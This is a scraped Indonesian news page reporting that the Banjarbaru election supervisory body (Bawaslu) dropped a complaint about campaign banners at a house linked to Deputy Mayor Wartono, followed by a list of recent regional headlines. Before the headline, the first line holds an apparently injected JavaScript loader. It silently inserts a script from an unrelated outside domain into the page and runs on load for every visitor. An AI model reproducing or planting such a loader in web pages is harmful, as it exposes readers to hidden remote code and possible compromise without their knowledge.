(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bawaslu Banjarbaru Hentikan Laporan Spanduk Kampanye di Rumdin Sewa Wakil Wali Kota


KANALKALIMANTAN.COM, BANJARBARU – Badan Pengawas Pemilu (Bawaslu) Banjarbaru memutuskan tidak melanjutkan laporan dugaan pelanggaran Alat Peraga Kampanye (APK) yang dipasang di rumah dinas (rumdin) statis sewa untuk Wakil Wali Kota Banjarbaru Wartono.

Sebelumnya, laporan yang dilayangkan salah satu warga Banjarbaru telah diregister oleh Bawaslu Banjarbaru dengan nomor 001/REG/LP/PW/Kota/22.02/IX/2024 usai dilaporkan ke antor Bawaslu Kota Banjarbaru pada Senin (30/9/2024).

Ketua Bawaslu Banjarbaru, Nor Ikhsan mengungkapkan hasil rapat pleno bersama dua komisioner lainnya, Bahrani dan Hegar Wahyu Hidayat di hadapan awak media, Minggu (6/10/2024) siang.

Baca juga: Ini Empat Senator DPD RI 2024-2029 Asal Kalsel

“Bahwa saudara atas nama Wartono tidak terbukti melakukan pelanggaran administrasi pemilihan sebagaimana pasal 71 Undang-Undang Nomor 1 tahun 2015,” ujar Nor Ikhsan.

Ikhsan menjelaskan, objek rumah yang dipasangi APK dalam laporan sebelumnya merupakan rumah milik pribadi saudara atas nama Wartono yang beralamat di Jalan Al Jafri Ujung nomor 26 RT 026 RW 003, Kelurahan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru.

“Sedangkan dari hasil kajian rumah dinas yang disewakan kepada Pemerintah Kota Banjarbaru itu beralamat di Jalan Al Jafri Ujung nomor 31 RT 026 RW 003, Kelurahan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru,” sebut dia.

Selanjutnya disebutkan bahwa ada saksi yang merupakan pegawai Satpol PP Banjarbaru berinisial AAT yang berada di rumah pribadi calon Wakil Wali Kota Banjarbaru itu seharusnya mengamankan aset rumah dinas yang disewakan.

Baca juga: Pjs Wali Kota Banjarbaru Hadiri HUT ke-79 TNI

Namun, status AAT sendiri merupakan tenaga kontrak di Satpol PP Kota Banjarbaru dan bukan Aparatur Sipil Negara (ASN).

“Sehingga unsur pelanggaran netralitas ASN tidak terpenuhi,” tegasnya.

Sehingga, Ikhsan kembali menegaskan bahwa Bawaslu Banjarbaru menghentikan laporan yang dilayangkan karena bukan termasuk pelanggaran administrasi pemilihan.

Sementara itu dari hasil data yang di lapangan diketahui, poin hasil pleno Bawaslu Kota Banjarbaru terkait dugaan pelanggaran pemasangan APK di rumah calon Wakil Wali Kota Banjarbaru Wartono, dinyatakan bahwa rumah tersebut bukanlah rumah yang tertera dalam kesepakatan surat perjanjian Pemko Banjarbaru yang didasarkan pada nomor alamat rumah. Padahal, dalam perjanjian Pemko Banjarbaru tidak memuat nomor alamat rumah.

Baca juga: Silaturahmi ke Desa Tanah Abang, Saidi Mansyur Dapat Sambutan Hangat Masyarakat

Dalam beberapa waktu sebelumnya, saat laporan tengah diproses, istri Wartono dalam wawancara kepada awak media telah membenarkan rumah itu disewa Pemko Banjarbaru yang berarti statusnya adalah fasilitas milik negara.

Meskipun ia menyatakan bahwa pihaknya memilih untuk tidak melanjutkan kontrak kerjasama, namun perjanjian yang sudah terjalin dengan Pemko Banjarbaru tidak bisa dibatalkan begitu saja lantaran tidak adanya adendum. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

5 jam ago

New CRETA Alpha Resmi Mengaspal, Hyundai Tawarkan Value Kompetitif

KANALKALIMANTAN.COM, JAKARTA — PT Hyundai Motors Indonesia (HMID) memulai gebrakan di awal tahun dengan meluncurkan… Read More

8 jam ago

Pemkab Banjar Buka Call Center untuk Koordinasi Lintas Sektor Penanganan Banjir

KANALKALIMANTAN.COM, MARTAPURA - Dinas Sosial Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk dan Keluarga Berencana (Dinsos… Read More

13 jam ago

Gubernur Muhidin Melantik 11 Pejabat, Ini Nama-namanya

KANALKALIMANTAN.COM, BANJARBARU – Gubernur Kalimantan Selatan H Muhidin melantik 11 pejabat pimpinan tinggi pratama lingkup… Read More

16 jam ago

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III… Read More

17 jam ago

Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

KANALKALIMANTAN.COM, MARTAPURA – Selama sepekan lebih, warga Desa Sungaitabuk Keramat, Kecamatan Sungai Tabuk, Kabupaten Banjar,… Read More

18 jam ago

This website uses cookies.